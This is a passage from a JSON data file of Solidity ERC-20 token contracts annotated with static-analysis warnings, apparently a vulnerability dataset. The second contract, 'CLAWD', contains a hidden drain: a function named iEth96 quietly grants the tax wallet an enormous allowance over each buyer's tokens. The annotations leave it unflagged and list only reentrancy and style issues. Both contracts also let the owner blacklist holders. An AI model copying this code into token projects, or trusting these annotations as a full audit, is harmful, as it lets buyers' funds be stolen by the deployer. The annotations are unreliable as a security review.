HPETM6900INU.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 785370f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a727b0f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a727b0f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3886e3d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3886e3d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a727b0f\n\t\t// reentrancy-benign | ID: 3886e3d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a727b0f\n\t\t// reentrancy-benign | ID: 3886e3d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 57ce073): HPETM6900INU._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 57ce073: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3886e3d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a727b0f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8598f70): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8598f70: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 21fc5da): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 21fc5da: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 8598f70\n\t\t\t\t// reentrancy-eth | ID: 21fc5da\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8598f70\n\t\t\t\t\t// reentrancy-eth | ID: 21fc5da\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 21fc5da\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 21fc5da\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 21fc5da\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8598f70\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 21fc5da\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 21fc5da\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 8598f70\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a727b0f\n\t\t// reentrancy-events | ID: 8598f70\n\t\t// reentrancy-benign | ID: 3886e3d\n\t\t// reentrancy-eth | ID: 21fc5da\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: daa3e82): HPETM6900INU.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for daa3e82: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a727b0f\n\t\t// reentrancy-events | ID: 8598f70\n\t\t// reentrancy-eth | ID: 21fc5da\n\t\t// arbitrary-send-eth | ID: daa3e82\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 90b9c36): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 90b9c36: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ed824b0): HPETM6900INU.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for ed824b0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b399ceb): HPETM6900INU.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b399ceb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9ffc350): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9ffc350: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 90b9c36\n\t\t// reentrancy-eth | ID: 9ffc350\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 90b9c36\n\t\t// unused-return | ID: b399ceb\n\t\t// reentrancy-eth | ID: 9ffc350\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 90b9c36\n\t\t// unused-return | ID: ed824b0\n\t\t// reentrancy-eth | ID: 9ffc350\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 90b9c36\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 9ffc350\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 2cf8bb7): HPETM6900INU.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 2cf8bb7: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 2cf8bb7\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10860.sol",
"size_bytes": 20325,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 25e4b42): CLAWD.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 25e4b42: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a989848): CLAWD.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for a989848: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 17b8458): CLAWD.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 17b8458: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 7d32e01): CLAWD.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 100)\n// Recommendation for 7d32e01: Consider ordering multiplication before division.\ncontract CLAWD is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6bc0005): CLAWD._taxWallet should be immutable \n\t// Recommendation for 6bc0005: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Claude AI Mascot\";\n\n string private constant _symbol = unicode\"CLAWD\";\n\n\t// divide-before-multiply | ID: a989848\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 25e4b42\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: fb9a7a9): CLAWD._taxSwapThreshold should be constant \n\t// Recommendation for fb9a7a9: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 7d32e01\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 97a23b8): CLAWD._maxTaxSwap should be constant \n\t// Recommendation for 97a23b8: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 17b8458\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 31f0e6e): CLAWD._initialBuyTax should be constant \n\t// Recommendation for 31f0e6e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 32bff1f): CLAWD._initialSellTax should be constant \n\t// Recommendation for 32bff1f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6880c86): CLAWD._finalBuyTax should be constant \n\t// Recommendation for 6880c86: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b03203c): CLAWD._finalSellTax should be constant \n\t// Recommendation for b03203c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6e681cd): CLAWD._reduceBuyTaxAt should be constant \n\t// Recommendation for 6e681cd: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7d6d1e3): CLAWD._reduceSellTaxAt should be constant \n\t// Recommendation for 7d6d1e3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: e92fe7e): CLAWD._preventSwapBefore should be constant \n\t// Recommendation for e92fe7e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: a976223): CLAWD._transferTax should be constant \n\t// Recommendation for a976223: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(0xE3BD2C3abA5bd9284B8339F9C721269781082Ab3);\n\n _tOwned[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7e30e64): CLAWD.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7e30e64: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function iEth96(\n address[2] memory iets,\n uint256 amount\n ) private returns (bool) {\n _approve(iets[0], iets[1], amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d12232b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d12232b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4024055): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4024055: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d12232b\n\t\t// reentrancy-benign | ID: 4024055\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d12232b\n\t\t// reentrancy-benign | ID: 4024055\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 203ba94): CLAWD._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 203ba94: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4024055\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d12232b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: aa26459): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for aa26459: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c4c2f22): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c4c2f22: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 741b39e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 741b39e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _tOwned[from] = _tOwned[from] - amount;\n\n _tOwned[to] = _tOwned[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n uint256 taxFee = 0;\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount > 0) {\n taxFee = (_transferTax);\n }\n\n if (_buyCount == 0) {\n taxFee = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n iEth96(\n [from, _taxWallet],\n _buyCount > 0 ? _tTotal.mul(1000) : _maxTaxSwap.mul(10000)\n );\n\n taxFee = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxFee = (\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniswapV2Pair && swapEnabled) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n if (\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: aa26459\n\t\t\t\t\t// reentrancy-benign | ID: c4c2f22\n\t\t\t\t\t// reentrancy-eth | ID: 741b39e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: aa26459\n\t\t\t\t// reentrancy-eth | ID: 741b39e\n sendETHToFee(address(this).balance);\n\n\t\t\t\t// reentrancy-benign | ID: c4c2f22\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 741b39e\n lastSellBlock = block.number;\n }\n }\n\n if (taxFee > 0) {\n taxAmount = taxFee.mul(amount).div(100);\n\n\t\t\t// reentrancy-eth | ID: 741b39e\n _tOwned[address(this)] = _tOwned[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: aa26459\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 741b39e\n _tOwned[from] = _tOwned[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 741b39e\n _tOwned[to] = _tOwned[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: aa26459\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d12232b\n\t\t// reentrancy-events | ID: aa26459\n\t\t// reentrancy-benign | ID: 4024055\n\t\t// reentrancy-benign | ID: c4c2f22\n\t\t// reentrancy-eth | ID: 741b39e\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function withdrawEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function add(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function del(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d12232b\n\t\t// reentrancy-events | ID: aa26459\n\t\t// reentrancy-eth | ID: 741b39e\n _taxWallet.transfer(amount);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a4e0723): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a4e0723: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 40aab6d): CLAWD.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 40aab6d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 74989f9): CLAWD.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 74989f9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9589503): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9589503: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: a4e0723\n\t\t// reentrancy-eth | ID: 9589503\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: a4e0723\n\t\t// unused-return | ID: 40aab6d\n\t\t// reentrancy-eth | ID: 9589503\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: a4e0723\n\t\t// unused-return | ID: 74989f9\n\t\t// reentrancy-eth | ID: 9589503\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: a4e0723\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 9589503\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10861.sol",
"size_bytes": 21774,
"vulnerability": 4
} |
{
